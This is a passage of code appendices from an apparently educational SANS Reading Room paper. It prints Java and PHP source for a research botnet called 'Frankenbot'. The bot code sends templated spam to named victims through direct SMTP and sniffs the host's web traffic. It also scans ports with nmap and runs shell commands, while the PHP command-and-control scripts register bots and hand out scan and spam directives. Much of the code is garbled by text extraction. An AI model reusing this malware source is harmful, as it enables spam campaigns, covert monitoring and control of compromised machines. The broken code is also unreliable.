      smtpServer = myBot.hostNetParams.hostFQDN;
    } else {
      myBot.hostNetParams.findDNSdata(myBot.publicIP);
      String hostSMTPServer = myBot.hostNetParams.findSMTPserver(myBot.hostNetParams.hostDomainName);
      if (hostSMTPServer != null) {
        if (Mailer.checkOutboundSMTP(hostSMTPServer)) {
          mode = "isp";
          smtpServer = hostSMTPServer;
        } else {
          mode = "filtered";
          hostSMTPServer = null;
        }
      } else {
        mode = "filtered";
        hostSMTPServer = null;
      }
    }
  }

  /**
   * Method to send SMTP message via open SMTP relay server by
   * communicating directly with the SMTP server
   */

Francois Begin, francois.begin@telus.com
* @param m_sHostName The SMTP server we are using to send spam
* @param m_iPort The port on which we are connecting and sending the spam
* @param subject The subject of the spam we are sending
* @param fromAddress The from address of the spam message
* @param toAddress The to address of the spam message
* @param body The body of the spam message
* @return
*/
@SuppressWarnings("deprecation")
public static Boolean sendMsg(String smtpServer, int port, String subject, String fromAddress, String toAddress, String body) {
    Socket smtpSocket = null;
    DataOutputStream os = null;
    DataInputStream is = null;

    Date dDate = new Date();
    DateFormat dFormat =
    DateFormat.getDateInstance(DateFormat.FULL, Locale.US);

    try {
        smtpSocket = new Socket(smtpServer, port);
        os = new DataOutputStream(smtpSocket.getOutputStream());
        is = new DataInputStream(smtpSocket.getInputStream());

        if(smtpSocket != null && os != null && is != null) {
            try {
                os.writeBytes("HELO franky.ca\r\n");
                os.writeBytes("MAIL From: <"+fromAddress+">\r\n");
                os.writeBytes("RCPT To: <"+toAddress+">\r\n");
                //Placeholder in case we ever want to implement CC/BCC
                //os.writeBytes("RCPT Cc: <theCC@anycompany.com>\r\n");
                os.writeBytes("X-Mailer: Via Java\r\n");
                os.writeBytes("Content-Type: text/html\r\n");
                os.writeBytes("DATE: " + dFormat.format(dDate) + "\r\n");
                os.writeBytes("From: Me <"+fromAddress+">\r\n");
                os.writeBytes("To:  YOU <"+toAddress+">\r\n");
                //Placeholder in case we ever want to implement CC/BCC
                //os.writeBytes("Cc: CCDUDE
                <CCPerson@theircompany.com>\r\n");
                //os.writeBytes("RCPT Bcc:
                BCCDude<BCC@invisiblecompany.com>\r\n");
                os.writeBytes("Subject: " + subject + "\r\n");
                os.writeBytes("body + "\r\n");
                os.writeBytes("\r\n\r\n");
                os.writeBytes("QUIT\r\n");
                // Now send the email off and check the server reply.
                // Was an OK is reached you are complete.
                String responseline;
            }
        }
    }
}
while((responseline = is.readLine())!=null)
{
   // System.out.println(responseline);
   if(responseline.indexOf("Ok") != -1)
      break;
}

catch(Exception e)
{
   System.out.println("Cannot send email as an error occurred.");
}

catch(Exception e)
{
   System.out.println("Host " + smtpServer + "unknown");

   return true;
}

/**
 * A method that checks whether or not this host can send mail out
 * (port 25 is not blocked by the ISP). The SMTP
 * server we test is hard coded to simplify our code
 * @return
 */
private static Boolean checkOutboundSMTP(String smtpServer) {

   if ( Tools.runCmdd("nmap -PN " + smtpServer + " -p 25").contains("25/tcp open smtp")) {
      return true;
   } else {
      return false;
   }

}


**Appendix H – NICListenet.java**

```java
package ca.franky.frankenbot_bot;

import java.io.IOException;
import java.util.HashSet;
import java.util.Set;
import jpcap.JpcapCaptor;
import jpcap.NetworkInterface;
import jpcap.packet.Packet;
import jpcap.packet.TCPPacket;

/**
 * A class that allows the bot to listen promiscuously for TCP connections to and from this host
 * @author fbegin1
 */
class NICListener extends Thread {
  Set<String> connectionTriplets = new HashSet<String>();
  boolean pleaseWait = false;

  public void run() {
    while (true) {
      /*
       * Has a pause been requested?
       */
      synchronized (this) {
        try {
          wait();
        } catch (Exception e) {
        }
      }
      /*
       * If not pause, start snooping on the interface, keeping a running tally of
       * (srcIP,dstIP,dstPort) tcp triplets
       */
      try {
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        JpcapCaptor captor = JpcapCaptor.openDevice(devices[2], 65535, false, 20);
        captor.setFilter("tcp and (dst port 80 or dst port 443)",
                true);
        while (true) {
          Packet myCapturedPacket = captor.getPacket();
          if (myCapturedPacket != null) {
            final TCPPacket tcpPacket = (TCPPacket)myCapturedPacket;
            connectionTriplets.add("(\"+tcpPacket.src_ip.toString().replace(\\"/\\",\\"")+\n            
Francois Begin, francois.begin@telus.com
```
"tcpPacket.dst_ip.toString().replace("/","\")+"tcpPacket.dst_port+"1"};

} catch (IOException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
}
Appendix I – SpamModule.java

```java
package ca.franky.frankenbot_bot;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Iterator;

public class SpamModule {

    public static void send(String replyFromCC, Mailer myMailer, Boolean debug) {
        if (replyFromCC != null && replyFromCC.contains("<spam>")) {
            if (debug) System.out.println("C&C told me to spam. I am operating in ", myMailer.mode, " mode and my SMTP server is ", myMailer.smtpServer);

            // Write the response to a file
            Writer output = null;
            File file = new File("/tmp/.spamlist");
            try {
                output = new BufferedWriter(new FileWriter(file));
                output.write(replyFromCC);
                output.close();
            } catch (IOException e) {
                throw e;
            }

            // Process the response and extract the spam configuration
            ArrayList<SpamXMLparser> mySpamConfigs = new SpamXMLparser().returnSpamConfigs("/tmp/.spamlist");
            Iterator<SpamXMLparser> itr0 = mySpamConfigs.iterator();

            while (itr0.hasNext()) {
                SpamXMLparser currentSpamDetails = new SpamXMLparser();
                currentSpamDetails = itr0.next();

                String adjustedBody = currentSpamDetails.emailBody.replaceAll("-firstName-", currentSpamDetails.victimFirstName).
                        replaceAll("-lastName-", currentSpamDetails.victimLastName);

                if (adjustedBody.contains("-link-")) {
                    continue;
                }

                // Send out spam
                /*
                 * Adjust the body if fields like -firstName-, -lastName-
                 * and -link-: are found
                 */
            }
        }
    }
}
```

Francois Begin, francois.begin@telus.com
String linkDetails =
adj ustedBody.substring(adj ustedBody.indexOf("-link-:")).substring(0,
adj ustedBody.substring(adj ustedBody.indexOf("-link-:")).indexOf(" "))
.replaceAll("-link-:\","\"");
String link =
linkDetails.substring(0,linkDetails.indexOf("^"));
String linkText =
linkDetails.substring(linkDetails.indexOf("^") + 1);
adjustedBody =
adjustedBody.substring(0,adjustedBody.indexOf("-link-:") + "<A
HREF=""+link+"">"+linkText+"</A>" +
adjustedBody.substring(adjustedBody.indexOf("-link-") + linkDetails.length() + 7);

if (debug) {
    System.out.println(" Sending spam to
"+currentSpamDetails.victimAddress);
    Mailer.sendMsg(myMailer.smtpServer, 25,
currentSpamDetails.emailSubject, currentSpamDetails.emailFromAddress,
currentSpamDetails.victimAddress, adjustedBody);
}
}
Appendix J – SpamXMLparser.java

```java
package ca.franky.frankenbot_bot;

import java.util.ArrayList;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;

/**
 * A class that parses an XML file and extract data related to spam we want to send out
 * @author Slightly modified version of code by mkyong
 * @source http://www.mkyong.com/java/how-to-read-xml-file-in-java-sax-parser
 */
public class SpamXMLparser {

    public ArrayList<SpamXMLparser> spamConfigArrayList = new ArrayList<SpamXMLparser>();
    public String victimAddress;
    public String victimFirstName;
    public String victimLastName;
    public String emailFromAddress;
    public String emailSubject;
    public String emailBody;

    public SpamXMLparser(){
    }

    public SpamXMLparser(String myVictimAddress, String myVictimFirstName, String myVictimLastName, String myEmailSubject, String myEmailFromAddress, String myEmailBody) {
        spamConfigArrayList = null;
        victimAddress = myVictimAddress;
        victimFirstName = myVictimFirstName;
        victimLastName = myVictimLastName;
        emailSubject = myEmailSubject;
        emailFromAddress = myEmailFromAddress;
        emailBody = myEmailBody;
    }

    public ArrayList<SpamXMLparser> returnSpamConfigs(String myFile) {
        try {
            ...
        }
    }
}
```

Francois Begin, francois.begin@telus.com
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxParser = factory.newSAXParser();

DefaultHandler handler = new DefaultHandler() {

    boolean bvictdetails = false;
    @SuppressWarnings("unused")
    boolean bemaildetails = false;
    boolean baddr = false;
    boolean bfname = false;
    boolean blname = false;
    boolean bsubject = false;
    boolean bfromaddr = false;
    boolean bbody = false;

    public void startElement(String uri, String localName, String qName, Attributes attributes)
        throws SAXException {
        if (qName.equalsIgnoreCase("victimDetails")) {
            bvictdetails = false;
        }

        if (qName.equalsIgnoreCase("emailDetails")) {
            bemaildetails = false;
        }

        if (qName.equalsIgnoreCase("address")) {
            baddr = true;
        }

        if (qName.equalsIgnoreCase("firstName")) {
            bfname = true;
        }

        if (qName.equalsIgnoreCase("lastName")) {
            blname = true;
        }

        if (qName.equalsIgnoreCase("subject")) {
            bsubject = true;
        }

        if (qName.equalsIgnoreCase("fromAddress")) {
            bfromaddr = true;
        }

        if (qName.equalsIgnoreCase("body")) {
            bbody = true;
        }
    }

    public void endElement(String uri, String localName, String qName)
        throws SAXException {
        if (qName.equalsIgnoreCase("victimDetails")) {

Francois Begin, francois.begin@telus.com
bvictdetails = true;

if (qName.equalsIgnoreCase("emailDetails")) {
    bemaildetails = true;
}

public void characters(char ch[], int start, int length) throws SAXException {

    if (bvictdetails) {
        SpamXMLParser myCurrentVictim = new SpamXMLParser(victimAddress, victimFirstName, victimLastName, emailSubject, emailFromAddress, emailBody);

        if (myCurrentVictim != null) {
            spamConfigArrayList.add(myCurrentVictim);
        }

        bvictdetails = false;
    }

    if (baddr) {
        victimAddress = new String(ch, start, length);
        baddr = false;
    }

    if (bfname) {
        victimFirstName = new String(ch, start, length);
        bfname = false;
    }

    if (blname) {
        victimLastName = new String(ch, start, length);
        blname = false;
    }

    if (bsubject) {
        emailSubject = new String(ch, start, length);
        bsubject = false;
    }

    if (bfromaddr) {
        emailFromAddress = new String(ch, start, length);
        bfromaddr = false;
    }

    if (bbody) {
        emailBody = new String(ch, start, length);
        bbody = false;
    }
}
};
saxParser.parse(myFile, handler);

} catch (Exception e) {
  e.printStackTrace();
}

return spamConfigArrayList;
}
Appendix K – Tools.java

package ca.franky.frankenbot_bot;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Random;

// Inspired from http://www.devdaily.com/java/edu/pj/pj010016

public class Tools {

    public static void sleep(int cycle, int randomness, boolean debug) {
        // We will need a random generator at some points in our code
        Random randomGenerator = new Random();

        try {
            Thread.currentThread();
            int randomInt = randomGenerator.nextInt(randomness);
            int sleepTime = cycle + randomInt;
            if (debug) System.out.println("I will now sleep for "+sleepTime+" seconds.");
            Thread.sleep(sleepTime * 1000);
        } catch (InterruptedException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } }

    /**
     * Method that returns the md5 checksum of a string
     * @param msg the string you want to compute the checksum of
     * @return the checksum as a string
     */
    public static String computeMD5(String msg) {
        byte[] bytesOfMessage = null;
        try {
            bytesOfMessage = msg.getBytes("UTF-8");
        } catch (UnsupportedEncodingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        MessageDigest md = null;

    }

Francois Begin, francois.begin@telus.com
try {
    md = MessageDigest.getInstance("MD5");
} catch (NoSuchAlgorithmException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
}
byte[] byteDigest = md.digest(bytesOfMessage);
BigInteger bigInt = new BigInteger(1,byteDigest);
String hashtext = bigInt.toString(16);
while(hashtext.length() < 32 ){
    hashtext = "0"+hashtext;
}
return hashtext;

/**
 * A method that runs a command on the command line of the host and
 * captures the result from the console
 * @param command
 * @return
 */
public static String runCmd(String command) {

    String cmdOutput = ";
    String s = null;
    try {
        Process p = Runtime.getRuntime().exec(command);

        BufferedReader stdInput = new BufferedReader(new
        InputStreamReader(p.getInputStream()));

        while ((s = stdInput.readLine()) != null) {
            cmdOutput += s+"\n";
        }
    }
    catch (IOException e) {
        e.printStackTrace();
        System.exit(-1);
    }
    return cmdOutput;
}
Appendix L – connect.php

<?php

// Our db connection
include_once("/var/includes/dbConnect.inc");

// Our SQL log for debugging
//$mySQLlog = "logs/sql.log";
// $fh = fopen($mySQLlog, 'a');

// Functions shared by the various scripts
include_once("./includes/functions.php");

// The initial shared password
$botInitialPwd = getDBParam("botInitialPwd");

/*
 * Sanitize and get parameters from POST. Note that not all variables
 * are set
 * except for $botpwd which is required
 */
$botpwd = filter_var($_POST['botpwd'],FILTER_SANITIZE_MAGIC_QUOTES);
$status = filter_var($_POST['status'],FILTER_SANITIZE_MAGIC_QUOTES);
$botID = filter_var($_POST['botID'],FILTER_SANITIZE_MAGIC_QUOTES);
$hostName = filter_var($_POST['hostName'],FILTER_SANITIZE_MAGIC_QUOTES);
$osName = filter_var($_POST['osName'],FILTER_SANITIZE_MAGIC_QUOTES);
$osVersion = filter_var($_POST['osVersion'],FILTER_SANITIZE_MAGIC_QUOTES);
$osArch = filter_var($_POST['osArch'],FILTER_SANITIZE_MAGIC_QUOTES);
$hostUptime = filter_var($_POST['hostUptime'],FILTER_SANITIZE_MAGIC_QUOTES);
$hostIps = filter_var($_POST['hostIps'],FILTER_SANITIZE_MAGIC_QUOTES);
$tcpConnections = filter_var($_POST['tcpConnections'],FILTER_SANITIZE_MAGIC_QUOTES);
$subnetScan = filter_var($_POST['subnetScan'],FILTER_SANITIZE_MAGIC_QUOTES);
$SMTPmode = filter_var($_POST['SMTPmode'],FILTER_SANITIZE_MAGIC_QUOTES);

/*
 * Determine the source IP address of the bot (and whether or not it
 * came from a proxy)
 */
if (getenv("HTTP_X_FORWARDED_FOR")) {

Francois Begin, francois.begin@telus.com

© 2011 The SANS Institute
As part of the Information Security Reading Room
Author retains full rights.
$proxySourceIP = getenv("HTTP_X_FORWARDED_FOR");
} else {
$proxySourceIP = null;
}
$sourceIP = getenv("REMOTE_ADDR");

/*
 * Authenticate the bot. If authentication fails, re-direct to page not found
 */
if ( $botpwd === $botInitialPwd ) {
    // The directive to send to the active bots
    $currentDirective = getDBParam("currentDirective");

    // The initial response to give to bots that are reporting for the first time
    $initialResponse = getDBParam("initialResponse");

    /********************************************
    * bot in 'init' mode
    * Give it an initial response
    ***************************************************/
    if ( $status === "init" ) {
        echo $initialResponse;
    }

    /**************************************
    * bot in 'start' mode
    * Send it its public IP
    * Register it
    *******************************************/
    else if ( $status === "start" ) {
        echo $sourceIP;
        $query="SELECT botID FROM bots WHERE botID='$botID';
        fwrite($fh, $query."\n"); 
        $result=mysql_query($query);
        if ( mysql_numrows($result) < 1 ) {
            /*
             * $query="INSERT INTO bots
             * (botID,status,hostName,osName,osVersion,osArch,hostUptime,hostIps,sourc
             * eIP,proxySourceIP,Created,LastUpdated) VALUES
             * ('$botID','$status','$hostUptime','$hostIps','$sourceIP','$proxySourceIP',NOW(),NOW())";
             * fwrite($fh, $query."\n"); 
             * $result=mysql_query($query);
             */
        }
    }

    /*******************************************************************************/
    * bot in 'command' mode
    * Send it the current general directive
    * Update data with latest uptime, tcpConnections, etc.
    *******************************************************************************/
    else if ( $status === "command" ) {
        $query="SELECT botID FROM bots WHERE botID='$botID';
        fwrite($fh, $query."\r"); 
        $result=mysql_query($query);
        if ( mysql_numrows($result) < 1 ) {
            /*
             * $query="UPDATE bots SET currentDirective='$currentDirective',
             * initialResponse='$initialResponse',publicIP='$sourceIP',proxySourceIP='$proxySourceIP',
             * hostUptime='$hostUptime',hostIps='$hostIps',osName='$osName',osVersion='$osVersion',
             * osArch='$osArch',hostOS='"$hostOS",sysadminLogin='$sysadminLogin',
             * lastCommand='$lastCommand',lastResponse='$lastResponse' WHERE botID='$botID';
             * fwrite($fh, $query."\n"); 
             * $result=mysql_query($query);
             */
        }
    }
* If for some reason the bot did not go through the 'init', 'start', 'command' states correctly, we send the initial response again

```php
*/
    echo "reset";
} else {
    echo $currentDirective;

    $query="UPDATE bots set
status='".$status."',
hostUptime='".$hostUptime."',
sourceIP='".$sourceIP."',
proxySourceIP='".$proxySourceIP."',
SMTPmode='".$SMTPmode."',
LastUpdated=NOW(),".
tcpConnections='".$tcpConnections."' WHERE
botID='".$botID."';
    fwrite($fh, $query."\n\r" );
    $result=mysql_query($query); 
}

/*********************************************************
* bot in 'scan' mode
* Save the scan report submitted by the bot
*******************************************************************************/
} else if ( $subnetScan != NULL && $status === "scan" ) {
    echo $currentDirective;
    $query="UPDATE bots set
status='".$status."',
subnetScan='".$subnetScan."',
LastUpdated=NOW() WHERE
botID='".$botID."';
    fwrite($fh, $query."\n\r" );
    $result=mysql_query($query); 

/*********************************************************
* bot in 'spam' mode
* Send it parameter as XML data
*******************************************************************************/
} else if ( $status === "spam" ) {
    $file = file_get_contents ("spamFactory/".$botID);
    echo $file;
} else {
    header("Location: /404.html");
}

/*********************************************************
* To code
*******************************************************************************/
} else if ( $botpwd != $botInitialPwd || $botID == null ) {
    header("Location: /404.html");
} else {
    /*
     * To code 
    */
}

// fclose($fh);
?>
Appendix M – admin.php

```php
<?php

// Our db connection
databaseConnectInc();

// Functions shared by the various scripts
functions.php;

/*
* Some variables and constants that control authentication
* and responses given to bots
*/
$adminInitialPwd = getDBParam("botInitialPwd");
$currentDirective = getDBParam("currentDirective");
$initialResponse = getDBParam("initialResponse");
$initialResponsesList = array("sleep", "start");
$directivesList = array("sleep", "scan", "spam");

/*
* Capture POST/PUT data and authenticate user
*/
$adminPwd = filter_var($_GET['adminPwd']);
$showConnections = filter_var($_GET['showConnections']);
$showSubnetScan = filter_var($_GET['showSubnetScan']);
$updateDirective = filter_var($_POST['updateDirective']);
$updateInitialResponse = filter_var($_POST['updateInitialResponse']);
$actionButton = filter_var($_POST['ActionButton']);

/*
* Ensure that we are authenticated
*/
if ($adminPwd === $adminInitialPwd) {

    // Did we POST updated values for initial response and/or main directive to bots?
    if ($actionButton !== NULL) {
        if ($actionButton === "Submit") {
                updateDBParam("currentDirective", $updateDirective);
                $currentDirective = $updateDirective;
            }
        } else {
            if ($updateInitialResponse !== NULL && $updateInitialResponse !== $initialResponse) {
                updateDBParam("initialResponse", $updateInitialResponse);
                $initialResponse = $updateInitialResponse;
            }
        }
    }
}

/*************************************/
```

Francois Begin, francois.begin@telus.com
* Show a report of tcp connections

```php
if ($showConnections != NULL) {
    echo "<h2>HTTP and HTTPS connection details for botID".$showConnections."</h2>";
    $query="SELECT tcpConnections,SMTPmode FROM bots WHERE botID='$showConnections';"
    $result=mysql_query($query);
    $row = mysql_fetch_array($result);
    echo "<table border='1'>";
    FormatRow("bold","lightgray","Destination IP","Destination FQDN","Port");
    $connections = explode("()",$row['tcpConnections']);
    /*
    * We sort the results by destination IP addresses
    * The sort is not perfect but helps aggregate blocks
    * of IP addresses in the final table
    */
    $i = 0;
    foreach ($connections as $currentConnection) {
        $currentConnDetails = explode("",str_replace("(",$currentConnection));
        $dstFQDN = gethostbyaddr($currentConnDetails[1]);
        $tcpConnections[$i]["src"] = $currentConnDetails[0];
        $tcpConnections[$i]["dst"] = $currentConnDetails[1];
        $tcpConnections[$i]["dstFQDN"] = $dstFQDN;
        $tcpConnections[$i]["port"] = $currentConnDetails[2];
        $i++;
    }
    $sortedConnections = subval_sort($tcpConnections,'dst');
    // Display sorted results
    foreach ($sortedConnections as $currentConnection) {
        FormatRow("normal","white",
        $currentConnection["dst"],
        $currentConnection["dstFQDN"],
        $currentConnection["port"]);
    }
    echo "</table>";
} elseif ($showSubnetScan != NULL) {
    echo "<h2>Last subnet scan performed by bot with botID".$showSubnetScan."</h2>";
    $query="SELECT subnetScan FROM bots WHERE botID='$showSubnetScan';"
    $result=mysql_query($query);
    $row = mysql_fetch_array($result);
    echo "<PRE>".$row["subnetScan"]."</PRE>";
} else {
    echo "<h2>C&C main page</h2>
```
Francois Begin, francois.begin@telus.com

```php
if ($row['proxySourceIP'] == NULL) {
    $sourceIP .= "n/a"
} else {
    $sourceIP .= $row['proxySourceIP'];
}

FormatRow("normal","white",
    $row['botID'],
    $row['status'],
    $row['hostName'],
    $row['sourceIP'],
    $row['proxySourceIP'],
    $row['created'],
    $row['lastUpdated'],
    $row['osName'],
    $row['osVersion'],
    $row['osArch'],
    $row['hostUptime']);
```

```html
</table>
```

Francois Begin, francois.begin@telus.com
Francois Begin, francois.begin@telus.com
<table>
<thead>
<tr>
<th>Course</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Amsterdam August 2020 Part 1</td>
<td>Amsterdam, NL</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS FOR508 Canberra August 2020</td>
<td>Canberra, AU</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Amsterdam August 2020 Part 2</td>
<td>Amsterdam, NL</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Virginia Beach 2020</td>
<td>Virginia Beach, VAUS</td>
<td>Aug 31, 2020 - Sep 05, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Philippines 2020</td>
<td>Manila, PH</td>
<td>Sep 07, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London September 2020</td>
<td>London, GB</td>
<td>Sep 07, 2020 - Sep 12, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020</td>
<td>Baltimore, MDUS</td>
<td>Sep 08, 2020 - Sep 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Threat Hunting &amp; Incident Response Summit &amp; Training 2020</td>
<td>New Orleans, LAUS</td>
<td>Sep 10, 2020 - Sep 17, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>OnlineUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
<tr>
<td>SANS SelfStudy</td>
<td>Books &amp; MP3s OnlyUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>